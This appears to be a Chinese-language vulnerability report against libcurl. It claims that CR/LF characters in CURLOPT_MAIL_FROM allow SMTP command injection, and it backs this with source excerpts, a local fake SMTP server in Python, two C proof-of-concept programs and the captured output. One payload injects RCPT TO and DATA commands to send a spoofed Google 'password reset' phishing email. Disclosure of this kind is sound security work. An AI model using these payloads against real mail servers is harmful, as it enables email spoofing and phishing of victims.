漏洞报告 #3451305 - 通过CURLOPT_MAIL_FROM中的CRLF进行SMTP协议注入导致邮件伪造

1
2
3
4

curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

/* lib/urlapi.c - Curl_junkscan 逻辑 */
CURLUcode Curl_junkscan(const char *url, size_t *urllen, bool allowspace)
{
  /* ... */
  for(i = 0; i < n; i++) {
    /* 拒绝任何小于32的字符（ASCII控制字符） */
    if(p[i] <= control || p[i] == 127)
      return CURLUE_MALFORMED_INPUT;
  }
  return CURLUE_OK;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

/* lib/setopt.c - 处理 CURLOPT_MAIL_FROM */
case CURLOPT_MAIL_FROM:
  result = Curl_setstropt(&data->set.str[STRING_MAIL_FROM], va_arg(param, char *));
  break;

/* Curl_setstropt 实现 */
CURLcode Curl_setstropt(char **charp, const char *s)
{
  /* ... */
  if(s) {
    /* 漏洞点：原始 strdup，未调用 Curl_junkscan 或检查 CRLF */
    *charp = strdup(s);
    if(!*charp)
      return CURLE_OUT_OF_MEMORY;
  }
  return CURLE_OK;
}

1
2
3

/* lib/smtp.c - smtp_perform_mail() */
/* 'from' 包含攻击者控制的带有 CRLF 的字符串 */
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import socket

def run_raw_server():
    host = '127.0.0.1'
    port = 1025
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[+] Raw Server listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            # 发送初始SMTP横幅以满足libcurl
            conn.sendall(b"220 FakeSMTP\r\n")
            while True:
                data = conn.recv(4096)
                if not data: break
                print("-" * 40)
                # 显示原始字节以证明 CRLF 注入
                print(f"RECEIVED RAW:\n{data.decode('utf-8', errors='ignore')}")
                print("-" * 40)
                if b"QUIT" in data: break
                # 确认命令以保持流程继续
                conn.sendall(b"250 OK\r\n")

if __name__ == "__main__":
    run_raw_server()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    /*
     * 载荷：终止 MAIL FROM 并注入一个新的 RCPT TO 命令。
     * 服务器将看到在一个数据包中发送的两个不同的命令。
     */
    const char *malicious_from = "<attacker@evil.com>\r\nRCPT TO:<victim@target.com>";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, malicious_from);

        // 我们还添加一个合法的收件人以显示流程正常继续
        struct curl_slist *rcpt = curl_slist_append(NULL, "<legit@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 空正文
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;

    /*
     * 伪造载荷：
     * 1. 关闭 MAIL FROM 命令。
     * 2. 注入 RCPT TO（绕过应用程序收件人列表）。
     * 3. 注入 DATA 以开始电子邮件内容。
     * 4. 伪造 'From' 头以冒充受信任实体。
     * 5. 结束电子邮件并 QUIT。
     */
    const char *spoof_payload = "<attacker@evil.com>\r\n"
                                "RCPT TO:<victim@target.com>\r\n"
                                "DATA\r\n"
                                "From: Security Team <admin@google.com>\r\n"
                                "To: Victim <victim@target.com>\r\n"
                                "Subject: URGENT: Password Reset Required\r\n"
                                "\r\n"
                                "Click here to reset your password: http://fake-google.com\r\n"
                                ".\r\n"
                                "QUIT";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");

        // 漏洞：将载荷注入 MAIL_FROM
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, spoof_payload);

        // 虚拟收件人以满足 libcurl 的内部检查
        struct curl_slist *rcpt = curl_slist_append(NULL, "<ignored@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 禁用正常上传，因为我们通过 MAIL_FROM 注入了一切
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

[+] 原始服务器监听 127.0.0.1:1025
[+] 连接来自 ('127.0.0.1', 42538)
----------------------------------------
收到（原始字节）：
b'EHLO anonymous-Advanced-Gaming-Laptop\r\n'
收到（解码）：
EHLO anonymous-Advanced-Gaming-Laptop

----------------------------------------
----------------------------------------
收到（原始字节）：
b'MAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim@target.com>\r\nDATA\r\nFrom: Security Team <admin@google.com>\r\nTo: Victim <victim@target.com>\r\nSubject: URGENT: Password Reset Required\r\n\r\nClick here to reset your password: http://fake-google.com\r\n.\r\nQUIT>\r\n'
收到（解码）：
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
From: Security Team <admin@google.com>
To: Victim <victim@target.com>
Subject: URGENT: Password Reset Required

Click here to reset your password: http://fake-google.com
.
QUIT>

----------------------------------------